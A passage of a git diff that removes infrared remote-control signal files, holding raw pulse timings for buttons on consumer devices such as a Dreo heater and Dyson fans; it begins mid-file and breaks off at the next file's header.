3817 178 2315 182 2312 174 6809 172 2321 176 18297 181 7801 179 3810 175 2319 178 2316 181 7800 180 2313 173 6311 181 2312 174 9303 175 -# -name: Guide -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 175 7808 172 3818 177 2316 180 2313 173 6810 181 2312 174 3817 178 3811 173 6807 174 2321 176 2319 178 5308 175 3816 179 8320 180 7800 180 3810 174 2319 178 2316 180 9296 182 3808 177 3814 181 9296 172 2321 176 5311 182 3808 176 8322 178 7803 177 3812 172 2321 176 2318 179 6805 176 2317 179 3810 175 3815 180 6803 178 2316 180 2313 173 5313 180 3810 175 8324 176 7805 175 3814 181 2313 173 2320 177 6806 175 2318 179 3812 172 3817 178 6805 176 2317 180 2314 182 5304 179 3811 173 8326 174 7806 174 3816 179 2315 182 2312 174 6809 172 2321 176 3815 180 3810 174 9302 176 2317 179 5307 176 3814 181 8318 182 7798 182 3809 176 2317 179 2315 181 9295 173 3817 178 3812 172 9304 174 2319 178 5309 174 3816 179 -# -name: Exit -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 173 7807 173 8807 172 16321 181 4291 172 9803 175 2301 175 13811 172 7810 181 8797 182 19287 180 1316 182 9776 181 2314 172 13812 182 7801 179 8798 181 19288 179 1317 181 4806 177 4793 180 2316 180 13803 180 7802 178 6306 176 2318 179 12306 179 1317 181 2313 173 1323 175 1321 177 1319 179 2315 182 2312 174 2301 175 2320 177 2317 179 13805 178 7804 176 6308 173 2320 176 12309 176 1320 178 2316 180 1315 172 1324 174 1322 176 2318 179 2297 179 2316 180 2313 173 2321 176 13808 175 7807 173 3817 178 2315 181 2312 174 9802 176 2317 179 3811 173 6809 182 2311 175 2319 177 2316 180 2313 173 5313 180 8319 181 7800 180 3810 174 2319 177 2316 180 12287 177 13290 173 2323 174 2319 177 2316 180 -# -name: Menu -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 175 7808 182 3809 175 2317 179 2314 172 8307 172 6811 180 6803 178 2315 181 2312 174 2319 178 3812 183 2312 174 2318 179 8321 179 7802 178 3812 172 2321 176 2317 179 8300 179 6804 177 6806 175 2318 178 2316 180 2313 173 3816 179 2315 181 2313 173 8325 175 7806 174 3816 179 2315 182 2312 174 8305 175 6808 173 6809 182 2311 175 2319 178 2316 180 3809 175 2318 179 2315 182 8317 183 7798 182 3808 177 2317 179 2314 182 8297 172 6811 180 6802 179 2315 181 2312 174 2319 178 3813 182 2311 175 2319 178 8321 179 7802 178 3812 172 2321 176 2318 178 8300 179 6804 177 6806 175 2318 178 2315 182 2312 174 3816 179 2315 181 2312 174 8325 175 7805 175 3815 180 2314 172 2321 175 8304 176 6807 174 6809 172 2321 175 2318 179 2315 182 3808 177 2317 179 2314 172 -# -name: Info -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 180 7803 177 8801 178 10295 182 2313 173 12329 177 21755 177 7805 175 6308 173 2321 176 10299 178 2315 181 34253 175 7807 173 6311 181 2313 173 7807 173 2321 175 2318 178 14783 178 10795 181 8320 180 7800 180 6305 176 2317 180 7801 179 2315 181 2312 174 12311 174 2302 174 10799 177 8324 175 7805 175 3815 180 2314 172 2321 175 7805 175 2319 178 2316 180 12305 180 2296 180 10793 173 8329 181 7799 181 6303 178 2315 181 7799 181 2312 174 2320 177 14785 176 10815 182 8299 180 7803 177 6307 174 2319 177 7803 177 2317 179 2314 172 14808 174 2818 178 1318 180 1316 182 4806 177 -# -name: Up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 177 7806 174 6310 182 2311 175 6309 172 11797 178 17279 179 11312 174 7809 181 6302 179 2314 172 6312 180 11788 177 14787 174 2322 175 11315 181 7801 179 6305 177 2317 180 6304 178 9299 179 2314 183 14779 182 2314 172 11317 179 7803 177 6307 174 2320 177 6307 174 9302 176 2318 178 12306 179 2297 179 2317 179 11310 176 7807 173 3817 178 2316 180 2313 173 3816 179 2315 181 9295 173 2321 175 12310 175 2301 175 2320 177 -# -name: Down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 172 7810 180 6304 177 2316 180 6303 178 28251 173 12317 178 7805 175 6309 172 2321 175 6309 172 15306 175 5311 182 7282 177 12312 182 7800 180 6304 177 2316 180 6304 177 13804 179 1317 181 3810 174 1321 177 4811 172 2303 173 12317 177 7805 174 6309 183 2311 175 6309 172 10817 180 1316 182 1314 173 1323 175 2319 177 1318 180 1316 182 2312 174 2302 174 2321 175 12312 182 7800 179 6305 176 2317 179 6305 176 10812 174 1322 176 1320 178 1318 180 2314 172 1324 174 1322 176 2318 178 2297 179 2317 179 -# -name: Left -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 178 7805 175 6309 172 2320 177 6308 173 25762 176 6310 182 8317 172 7808 172 6312 180 2313 173 3817 178 2316 181 10790 176 6809 172 5315 178 2315 182 3808 177 2317 179 8320 180 7800 180 3810 175 2319 178 2316 180 3809 175 2318 178 5308 175 5312 181 6801 180 5307 176 2317 179 3810 174 2319 177 8322 178 7802 178 1319 179 2314 172 2322 175 2319 178 1318 180 2314 172 2321 176 5311 182 5305 177 6806 175 5311 182 2311 175 3815 180 2314 172 -# -name: Right -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 178 7804 175 3815 180 2314 182 2311 175 3815 180 2314 172 5314 179 3811 173 2320 177 6806 175 5312 181 2313 173 3817 178 9818 180 7800 179 3811 173 2320 176 2317 179 3811 173 2320 176 5310 172 3818 177 2317 179 6803 178 5309 173 2320 176 3813 181 9814 173 7807 173 3818 177 2316 180 2313 173 3817 178 2316 180 5306 177 3813 182 2312 174 6809 182 5304 178 2315 181 3809 175 9820 177 7803 176 3813 182 2312 174 2319 178 3813 182 2312 174 5312 181 3809 175 2318 179 6804 177 5310 172 2321 175 3814 181 9815 172 7808 182 3808 176 2318 178 2315 181 3808 176 2317 179 5307 175 3815 180 2314 172 6811 180 5306 176 2317 179 3811 173 -# -name: Select -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 179 7802 179 6307 175 2319 178 10296 182 2312 174 12328 179 2297 179 10794 173 8309 181 7801 180 6305 177 2316 181 7799 181 2312 174 2319 178 14784 179 10795 172 8329 182 7798 183 6302 180 2313 173 7807 173 2320 177 2317 180 14782 181 10793 174 8327 173 7807 173 3816 179 2314 172 2322 175 7805 176 2318 179 2315 182 12304 182 2293 183 10791 176 -# -name: Chan_up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 180 7803 177 6306 175 2319 177 9300 178 2315 181 3808 176 2317 179 9297 181 3810 174 15306 175 7808 172 3818 177 2317 179 2313 173 5314 179 3811 173 2320 177 3813 182 2312 174 9303 175 3815 180 5306 177 9819 178 7802 178 3812 172 2321 175 2318 179 9298 180 2314 182 3808 176 2317 179 9297 181 3809 175 -# -name: Chan_down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 176 7807 172 3817 178 2315 181 2313 173 5313 180 3811 173 2319 177 5309 173 6810 181 2313 173 3816 179 5308 174 2319 177 8321 178 7803 177 3813 182 2312 174 2320 176 5309 173 3817 178 2316 180 5306 176 6806 174 2320 176 3813 182 5305 177 2316 180 8319 180 7801 179 3812 172 2321 175 2318 178 5307 175 3815 180 2314 172 5314 179 6804 177 2317 179 3810 174 5312 181 2313 173 8326 173 7807 172 3818 177 2316 180 2313 173 5314 179 3811 173 2320 176 5310 172 6811 180 2313 173 3817 178 5308 174 2320 176 8322 177 7803 177 3813 182 2312 174 2320 176 5309 173 3817 178 2316 180 5306 177 6806 175 2319 177 3812 172 5314 179 2315 181 -# -name: Prev -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 172 7810 180 8798 180 10826 181 7265 174 17320 179 11277 177 7805 175 8803 175 18278 179 15800 181 4308 176 8305 174 7809 181 8796 182 15795 175 2301 175 18797 180 1316 182 8299 180 7803 177 8801 177 13306 177 2316 180 2295 181 10811 175 2318 178 2315 181 1314 173 1323 175 1321 177 -# -name: 1 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 178 7805 174 3816 178 2315 181 2312 174 5312 181 2314 182 6800 181 2313 173 6809 182 2310 176 5314 179 2314 172 2321 175 9821 176 7803 176 3814 180 2313 173 2320 176 5311 182 2311 175 6808 173 2321 175 9301 177 7804 176 2318 178 9817 180 7800 180 6305 176 2317 179 10810 176 1320 178 7802 178 1319 179 4808 175 2818 178 7286 173 -# -name: 2 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 177 7805 174 3816 179 2315 181 2312 174 5312 181 2314 172 5313 180 3811 173 9304 174 5311 182 2312 174 3816 179 8320 179 7801 179 3812 172 2321 175 2318 178 5308 174 2320 176 5309 173 3817 178 6805 176 2318 178 5308 174 2319 177 3813 181 8318 181 7799 180 3810 174 2319 177 2316 180 5306 176 2318 178 5308 174 3815 179 6804 176 2317 179 5307 175 2318 178 3812 172 8327 172 7809 181 3809 175 2318 178 2315 181 5305 177 2316 180 9297 181 9296 182 7799 180 3810 174 -# -name: 3 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 173 7810 180 6304 177 2318 178 7801 178 7802 177 2317 179 28768 175 7808 182 6303 178 2315 181 18271 175 28776 177 7805 174 6310 181 2312 174 10815 181 7282 177 12311 173 7807 172 -# -name: 4 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 182 7801 179 3812 172 2320 176 2318 178 7801 179 18792 175 11778 176 8326 173 7808 172 6311 181 2314 172 20294 181 1315 172 7808 182 17278 179 7804 175 8802 176 14803 179 5308 175 1321 177 7804 176 3814 181 -# -name: 5 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 174 7809 182 6302 180 2314 172 18281 177 28773 174 7809 182 6302 180 2313 173 18298 181 28752 174 7809 182 6302 180 2314 172 18281 177 9302 176 -# -name: 6 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 173 7810 180 3810 174 2320 177 2317 179 5307 176 2317 179 3812 172 2320 176 3815 180 6800 181 2315 181 5305 203 5281 176 8327 172 7807 172 3818 177 2317 179 2314 172 5314 179 2315 181 3808 176 2318 178 3811 173 6810 181 2313 173 5313 180 5307 175 8323 176 7804 176 3815 179 2314 172 2321 175 5311 182 2312 174 3816 179 2314 182 3808 176 6806 175 2319 177 5309 173 5313 180 8320 179 7801 178 3811 173 2321 175 2318 178 5308 174 2319 177 3813 182 2312 174 3816 179 6804 177 2317 179 5307 176 5311 172 -# -name: 7 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 175 7808 182 3809 175 2318 178 2315 181 5305 177 2316 180 3810 174 2319 177 2316 180 2313 173 1341 177 5291 181 2313 173 5313 179 4327 177 8306 172 7808 181 3809 175 2318 178 2315 181 5305 177 2317 179 3810 174 2320 176 2317 179 2314 182 9295 172 18301 176 7807 172 3818 177 2316 180 2313 173 7808 182 3808 176 2318 178 2315 181 2312 174 9303 174 -# -name: 8 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 173 7809 181 8798 180 11824 182 2793 182 2329 178 4294 179 16780 178 8303 175 7807 173 8806 172 10302 174 25779 179 2297 179 8322 177 7803 177 6308 173 2320 176 10299 177 11310 176 4812 181 2811 174 1322 176 4812 181 2294 182 -# -name: 9 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 173 7809 181 3809 175 2318 178 2315 181 5305 178 2316 180 2314 172 7808 182 9295 172 9305 173 9823 175 7805 175 6310 182 2312 174 7806 174 2320 177 7804 176 9301 177 9300 178 9818 180 7800 180 3811 173 2320 177 2317 179 5307 176 2318 178 2315 181 5305 178 2316 180 6802 179 2315 181 6801 180 2315 181 -# -name: 0 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 176 7824 176 1320 178 2316 180 2330 177 2317 179 1316 182 1315 172 2285 180 2312 616 879 619 884 182 1309 178 1336 182 2293 172 6811 180 2314 182 5305 177 2316 180 2313 173 2321 175 8323 176 7805 174 3815 179 2314 182 2312 174 5312 181 2313 173 8307 172 6811 180 2313 173 5314 179 2315 181 2312 174 2319 178 8322 177 7803 176 3814 181 2313 173 2320 176 5310 172 2322 174 8304 175 6808 173 2321 175 5311 182 2312 174 2319 177 2316 180 diff --git a/assets/ir_optional_assets/optional-assets/Dragonfly_scrn.ir b/assets/ir_optional_assets/optional-assets/Dragonfly_scrn.ir deleted file mode 100644 index a13e4155d..000000000 --- a/assets/ir_optional_assets/optional-assets/Dragonfly_scrn.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1277 429 1251 430 1250 430 1250 430 415 1239 441 1239 441 1265 415 1265 415 1239 441 1266 414 1240 1274 432 413 1268 412 1242 438 1242 1272 434 1246 435 1245 435 410 1270 1244 435 1255 425 1255 425 409 1271 1254 426 1254 427 1253 427 407 1272 1253 427 1253 428 1252 428 1252 429 405 -# -name: Lil_up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1271 435 1255 425 1255 426 1254 426 408 1272 407 1272 407 1272 407 1273 1252 428 406 1274 405 1274 405 1274 405 1249 441 1239 440 1239 1275 432 1248 433 1247 433 412 1268 1246 434 411 1268 412 1269 411 1269 1245 435 410 1270 1255 426 408 1271 409 1271 409 1271 408 1272 1253 428 406 22225 1273 434 1246 435 1245 435 1255 425 409 1271 409 1270 410 1271 409 1271 1254 427 407 1272 407 1273 406 1273 406 1247 433 1248 431 1248 1277 430 1250 431 1249 431 414 1266 1248 432 413 1267 412 1267 413 1267 1247 434 411 1268 1246 435 410 1269 411 1270 410 1270 410 1244 1281 426 408 22224 1274 433 1247 433 1247 433 1247 434 411 1269 411 1269 411 1269 411 1270 1255 426 408 1271 409 1271 408 1271 409 1246 433 1246 433 1247 1278 429 1251 429 1250 430 404 1275 1250 431 414 1266 413 1266 413 1266 1248 433 412 1267 1247 434 411 1268 412 1268 412 1269 410 1243 1282 426 408 -# -name: Stop -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1280 427 1252 427 1252 428 1251 429 405 1274 405 1274 405 1275 415 1238 441 1265 414 1266 1248 432 413 1267 412 1267 412 1268 411 1268 1246 434 1245 435 1255 425 409 1271 409 1271 1254 426 1253 427 407 1272 408 1272 1253 428 1251 429 405 1274 1251 430 1249 430 1249 431 414 1266 1248 21384 1278 428 1252 428 1251 429 1251 430 404 1275 404 1275 415 1265 414 1239 440 1240 439 1240 1274 433 412 1268 411 1268 411 1269 410 1243 1282 425 1255 426 1254 426 408 1272 407 1272 1253 428 1251 428 406 1274 405 1274 1251 430 1250 430 415 1265 1249 431 1249 432 1247 432 413 1267 1247 21385 1277 429 1250 429 1251 430 1250 430 415 1265 414 1265 414 1266 413 1266 414 1240 439 1241 1273 434 411 1269 410 1269 410 1269 410 1270 1255 426 1254 426 1254 427 407 1272 407 1272 1253 428 1252 429 405 1274 405 1274 1251 430 1250 431 414 1266 1248 431 1249 432 1248 432 413 1267 1247 -# -name: Lil_down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1275 432 1248 433 1247 433 1246 434 411 1269 410 1269 410 1243 1282 425 409 1270 409 1270 409 1271 409 1271 408 1246 433 1246 433 1247 1278 429 1250 430 1249 430 1249 431 414 1266 414 1265 414 1266 413 1266 1248 433 1247 433 1247 434 411 1268 1246 434 411 1269 411 1243 1282 425 1254 21377 1274 433 1246 433 1246 434 1245 435 410 1269 411 1269 410 1270 1255 426 408 1271 408 1245 434 1272 407 1246 433 1247 432 1247 433 1248 1277 430 1249 430 1249 431 1248 432 413 1266 414 1266 413 1267 412 1267 1247 434 1246 434 1246 435 410 1270 1255 425 409 1270 410 1271 1254 427 1252 21378 1273 434 1246 434 1246 435 1244 435 410 1270 410 1270 410 1244 1281 426 408 1271 408 1272 407 1272 408 1273 406 1247 432 1247 433 1248 1277 430 1249 431 1249 431 1249 432 413 1267 413 1266 414 1267 413 1267 1247 434 1246 434 1246 435 410 1270 1255 425 409 1270 409 1244 1281 427 1252 -# -name: Down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1278 402 1277 402 1277 403 1276 404 441 1239 440 1240 439 1241 438 1241 438 1242 1272 408 437 1243 436 1244 435 1245 434 1246 433 1246 1278 402 1277 402 1277 403 1276 403 442 1239 1275 404 1275 405 1274 405 440 1241 438 1242 437 1242 437 1243 1281 398 1281 399 1280 400 1279 400 1279 diff --git a/assets/ir_optional_assets/optional-assets/Dreo_heater.ir b/assets/ir_optional_assets/optional-assets/Dreo_heater.ir deleted file mode 100644 index 54ea2f2af..000000000 --- a/assets/ir_optional_assets/optional-assets/Dreo_heater.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1306 402 1280 404 437 1236 1278 406 1276 409 432 1241 431 1241 431 1215 457 1241 441 1231 441 1231 1272 7138 1307 402 1280 404 437 1236 1277 406 1276 408 433 1241 431 1215 468 1231 441 1231 441 1232 440 1232 1271 8217 1301 408 1274 410 431 1242 1272 411 1281 403 438 1236 436 1236 436 1236 436 1236 436 1236 436 1236 1277 7133 1302 407 1275 409 432 1241 1272 411 1272 412 439 1234 438 1234 438 1234 438 1234 438 1234 438 1234 1279 8208 1299 410 1272 411 440 1233 1280 403 1279 405 436 1238 434 1238 434 1238 434 1238 434 1238 434 1238 1276 7134 1300 409 1273 410 431 1242 1272 411 1281 403 438 1235 437 1235 437 1235 437 1235 437 1235 437 1235 1278 8209 1298 411 1271 412 439 1234 1279 404 1279 405 436 1237 435 1238 434 1238 434 1238 434 1238 434 1238 1275 7135 1299 410 1273 411 440 1232 1281 403 1279 405 436 1237 435 1238 434 1238 434 1238 434 1238 434 1238 1275 -# -name: Heat_up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1303 405 1278 406 435 1237 1276 407 1275 409 432 1240 432 1265 407 1265 407 1291 381 1290 1223 409 432 7963 1302 407 1275 409 432 1239 1274 410 1273 412 439 1232 440 1258 414 1283 389 1283 389 1282 1221 411 440 9121 1301 408 1274 410 441 1230 1273 411 1282 402 439 1233 439 1259 413 1258 414 1257 415 1283 1220 411 440 7955 1299 409 1274 411 440 1231 1272 412 1281 403 438 1234 438 1260 412 1259 413 1285 387 1258 1255 403 438 9123 1299 410 1273 411 440 1232 1281 403 1279 404 437 1235 437 1235 437 1260 412 1260 412 1259 1254 404 437 7959 1306 403 1279 405 436 1236 1278 406 1276 408 433 1238 434 1238 434 1263 409 1263 409 1262 1251 407 434 9128 1304 405 1278 406 435 1237 1276 408 1274 410 441 1231 441 1230 431 1267 405 1266 406 1265 1248 410 441 7956 1298 410 1273 412 439 1232 1281 403 1279 405 436 1236 436 1262 410 1261 411 1261 411 1260 1253 405 436 -# -name: Heat_down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1302 406 1276 408 433 1239 1274 410 1273 411 440 1232 440 1258 1255 403 438 1234 438 1260 1253 404 437 7960 1305 404 1279 405 436 1236 1277 407 1275 409 432 1240 432 1265 1248 410 441 1230 431 1267 1247 411 440 9062 1298 411 1281 403 438 1234 1279 405 1278 406 435 1237 435 1263 1250 408 433 1239 433 1265 1248 410 441 7956 1299 410 1273 411 440 1232 1281 403 1279 405 436 1236 436 1262 1251 407 434 1238 434 1264 1249 409 432 9072 1298 411 1281 403 438 1234 1279 405 1277 407 434 1238 434 1264 1249 409 432 1240 432 1266 1247 410 441 7956 1299 410 1272 412 439 1233 1280 404 1279 405 436 1237 435 1263 1249 408 433 1239 433 1265 1248 410 441 9064 1306 403 1279 405 436 1236 1277 407 1275 409 432 1241 431 1267 1247 411 440 1231 441 1231 1281 403 438 7959 1306 403 1279 405 436 1236 1277 407 1275 409 432 1240 432 1240 1273 410 441 1231 441 1231 1282 402 439 -# -name: Mode -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1306 403 1279 404 437 1235 1278 405 1278 406 435 1238 434 1211 461 1210 462 1236 1277 405 436 1236 436 7959 1306 402 1280 403 438 1234 1279 404 1278 405 436 1210 462 1236 436 1209 463 1235 1278 404 437 1209 463 9015 1301 407 1276 407 434 1239 1275 407 1275 409 432 1241 431 1240 432 1214 458 1213 1300 408 433 1240 432 7962 1302 407 1276 407 434 1239 1274 408 1274 410 431 1242 430 1241 431 1240 432 1240 1273 410 431 1241 431 9021 1306 403 1279 404 437 1235 1278 405 1278 406 435 1237 435 1237 435 1237 435 1236 1278 405 436 1237 435 7960 1304 403 1279 404 437 1235 1278 405 1278 406 435 1237 435 1236 436 1235 437 1234 1279 404 437 1235 437 9015 1302 406 1276 407 434 1238 1275 409 1273 410 441 1231 441 1230 431 1266 406 1265 1248 410 431 1241 431 7964 1300 408 1274 410 441 1231 1272 411 1281 403 438 1234 438 1234 438 1259 413 1259 1254 404 437 1234 438 -# -name: Mute -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1300 406 1276 407 434 1215 1298 408 1274 410 441 1207 1296 411 440 1208 464 1208 463 1208 464 1208 464 7956 1298 409 1273 411 440 1208 1305 402 1280 404 437 1211 1302 405 436 1213 459 1212 460 1212 459 1212 460 9225 1301 405 1278 406 435 1213 1300 407 1275 409 432 1217 1296 410 441 1207 465 1206 455 1216 456 1216 456 7964 1300 406 1276 408 433 1215 1298 409 1273 410 441 1207 1306 401 440 1208 464 1208 464 1207 465 1207 465 9221 1306 401 1281 403 438 1210 1303 404 1278 405 436 1213 1300 407 434 1215 457 1215 457 1215 457 1214 458 7964 1300 406 1276 408 433 1216 1297 410 1283 401 440 1209 1304 377 464 1211 461 1210 462 1210 462 1210 461 -# -name: Rotate -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1296 411 1271 412 439 1233 1280 404 1279 405 436 1236 436 1236 1277 405 436 1236 436 1236 436 1235 437 7958 1306 403 1279 404 437 1235 1279 405 1277 407 434 1238 434 1239 1274 409 432 1240 432 1240 432 1266 406 9022 1304 405 1278 406 435 1237 1275 409 1273 410 441 1231 440 1257 1256 402 439 1234 438 1260 412 1260 412 7959 1305 404 1279 406 435 1237 1276 408 1274 410 441 1231 441 1257 1246 412 439 1232 439 1259 413 1259 413 -# -name: Timer -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1303 380 1302 407 434 1238 1275 408 1274 410 441 1230 442 1256 405 1266 1247 411 440 1231 441 1257 415 7956 1298 411 1281 403 438 1234 1279 405 1277 407 434 1238 434 1265 406 1265 1247 410 441 1231 441 1257 415 9271 1297 412 1280 404 437 1235 1278 406 1276 408 433 1239 433 1266 406 1265 1248 410 441 1231 440 1258 414 7957 1307 402 1280 404 437 1235 1278 405 1276 408 433 1239 433 1265 407 1265 1247 410 441 1231 440 1258 414 9271 1298 412 1280 403 438 1234 1279 405 1277 407 434 1238 434 1265 406 1265 1248 410 431 1241 431 1267 405 7966 1298 410 1272 412 439 1233 1280 404 1279 405 436 1236 436 1262 409 1262 1251 407 434 1238 434 1264 407 diff --git a/assets/ir_optional_assets/optional-assets/Dyson_air_multiplier.ir b/assets/ir_optional_assets/optional-assets/Dyson_air_multiplier.ir deleted file mode 100644 index b4c98e49a..000000000 --- a/assets/ir_optional_assets/optional-assets/Dyson_air_multiplier.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2229 716 749 747 728 715 750 720 756 714 751 719 757 1447 751 719 756 714 751 1453 755 742 723 747 729 742 754 716 749 721 754 715 729 741 724 1454 754 1450 758 1445 753 1451 757 714 751 50967 2228 717 748 1455 753 51028 2198 746 730 1449 749 -# -name: Speed_up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2225 719 756 741 724 720 755 715 750 720 755 716 749 1456 752 719 746 726 749 1456 731 741 755 1451 757 714 751 1455 753 718 757 1448 750 1456 752 720 755 715 750 721 754 1452 756 1449 759 51509 2201 743 732 1473 756 51069 2202 717 758 1448 750 -# -name: Speed_down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2234 712 752 743 732 713 751 720 755 716 749 722 753 1453 754 716 759 712 752 1453 754 718 757 1449 758 713 751 1455 752 1454 753 718 757 741 723 748 727 745 730 1449 758 739 725 1455 752 51252 2234 713 751 1454 753 -# -name: Rotate -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2199 716 759 763 701 742 732 737 727 742 732 737 727 1448 759 738 726 743 732 1444 752 771 724 745 729 1447 760 1417 758 739 746 750 725 1426 760 737 727 743 732 739 725 1452 755 743 732 50977 2206 711 753 1449 758 51061 2226 721 754 1451 724 -# -name: Circulate -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2232 712 752 743 731 712 752 718 756 713 751 745 729 1447 749 721 753 717 757 1446 750 1453 754 717 757 712 752 718 756 713 751 1451 756 741 723 720 754 1449 758 1447 728 1449 758 1447 780 51509 2200 718 756 1474 722 51067 2202 743 731 1446 750 -# -name: Auto -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2227 716 748 721 753 716 758 712 752 717 747 723 751 1452 723 747 727 742 722 1482 724 1479 748 722 752 1451 724 747 727 1449 757 713 782 714 750 720 754 716 748 722 752 717 747 723 751 50706 2204 713 751 1481 725 51062 2225 719 755 1449 747 -# -name: Sleep -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2229 714 750 747 727 717 757 713 751 719 755 715 749 1455 751 719 755 715 749 1455 751 1453 753 717 757 714 750 1454 752 718 756 714 750 746 728 742 722 722 752 1452 754 716 758 1445 751 50982 2229 716 727 1479 748 51048 2205 712 752 1450 756 -# -name: Info -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2195 722 752 743 721 749 746 723 730 739 746 723 751 1450 725 745 729 739 725 1477 729 1473 754 716 748 1454 731 1445 751 719 755 1473 723 1453 753 1449 757 713 751 718 756 1447 749 747 727 50748 2201 743 731 1473 754 diff --git a/assets/ir_optional_assets/optional-assets/Dyson_hp09.ir b/assets/ir_optional_assets/optional-assets/Dyson_hp09.ir deleted file mode 100644 index 121c626af..000000000 --- a/assets/ir_optional_assets/optional-assets/Dyson_hp09.ir +++ /dev/null @@ -1,12 +0,0 @@ -Power RAW F:38000 DC:33 2223 753 725 720 748 750 728 743 725 746 722 1458 750 749 750 722 726 747 721 1460 748 724 755 744 724 721 747 724 754 744 724 747 752 720 748 1458 750 722 756 715 753 718 750 1456 752 51488 2221 727 721 1460 748 51156 2203 744 724 1456 752 -Info RAW F:38000 DC:33 2229 718 750 721 747 724 755 716 752 719 749 1457 751 721 747 724 744 727 721 1486 722 1458 749 722 746 1459 749 1457 751 720 779 1427 750 1456 752 1454 754 1452 745 1460 748 1457 751 1455 722 51635 2218 727 751 1453 744 51091 2227 745 723 1455 753 51082 2226 719 718 1459 749 -Fan_up RAW F:38000 DC:33 2229 715 753 717 751 719 749 722 746 725 753 1451 757 715 753 717 751 720 748 1457 750 720 748 1457 750 720 727 1451 756 741 727 1478 750 1455 722 749 750 1455 722 1457 750 746 753 718 750 51532 2195 750 749 1457 750 51053 2222 722 756 1449 748 -Fan_dwn RAW F:38000 DC:33 2225 745 723 748 720 750 718 752 726 744 724 1453 755 743 746 698 749 721 747 1459 748 723 755 1449 748 722 746 1459 748 1458 729 742 726 745 723 748 720 1485 723 749 729 715 753 1478 750 51268 2224 721 747 1457 750 51063 2203 742 726 1453 754 -Heat_up RAW F:38000 DC:33 2227 716 721 749 750 720 748 721 747 723 755 1448 749 722 746 724 744 726 722 1483 724 746 722 1482 726 745 723 1454 753 716 752 1478 729 1450 747 750 728 1450 747 1458 749 1456 751 746 722 50808 2200 745 754 1451 726 51079 2227 718 750 1429 748 -Heat_down RAW F:38000 DC:33 2229 716 752 718 750 720 748 722 746 724 755 1450 747 723 745 725 753 717 751 1453 755 716 752 1452 756 1449 748 1456 721 1483 755 1448 749 1455 722 1456 752 1453 755 1450 747 1456 752 1453 755 50840 2221 749 729 1449 748 51062 2194 750 728 1449 748 -Auto RAW F:38000 DC:33 2278 692 725 745 723 747 721 748 730 739 750 1427 750 748 751 719 728 742 726 1451 756 1448 749 749 729 1474 723 747 721 1456 721 776 702 741 747 723 724 1479 728 1476 721 750 728 741 748 51224 2225 719 749 1453 724 51075 2221 721 726 1476 721 -Cool RAW F:38000 DC:33 2220 724 754 715 753 716 752 718 750 720 748 1481 726 744 724 719 749 721 747 1457 750 747 721 1456 731 1474 723 747 721 749 729 1500 728 717 751 1478 719 750 728 715 753 717 751 1478 729 51218 2202 767 722 1454 723 51044 2223 720 748 1456 721 -Swivel RAW F:38000 DC:33 2223 720 748 749 729 741 727 743 725 744 724 1453 754 743 745 724 723 747 721 1456 751 746 722 748 730 1448 749 1455 752 744 724 746 722 1455 752 744 724 1454 753 1451 756 1449 748 748 730 51497 2229 713 755 1449 748 51064 2201 714 754 1449 748 -Timer RAW F:38000 DC:33 2225 718 750 719 749 721 747 722 746 723 745 1458 750 720 748 722 726 744 724 1452 756 741 727 742 726 1451 746 1457 750 1454 754 716 752 717 720 1483 725 745 723 1454 754 1450 747 1456 752 50811 2199 744 745 1433 754 51049 2229 715 743 1435 752 -Night RAW F:38000 DC:33 2227 713 806 664 753 716 752 718 750 719 749 1455 752 718 750 719 749 720 758 1445 752 1424 784 714 754 688 780 1424 753 718 750 745 754 716 752 717 751 1454 753 716 752 718 750 720 748 51722 2202 686 782 1423 754 51080 2228 714 754 1423 754 -Direction RAW F:38000 DC:33 2223 745 723 747 731 738 730 739 729 741 727 1449 748 748 751 718 729 740 728 1449 748 1456 751 745 723 747 721 748 730 739 729 1448 749 748 730 739 729 741 727 742 747 1430 757 1446 751 50981 2223 719 729 1449 748 51077 2200 743 725 1478 729 diff --git a/assets/ir_optional_assets/optional-assets/Epson.ir 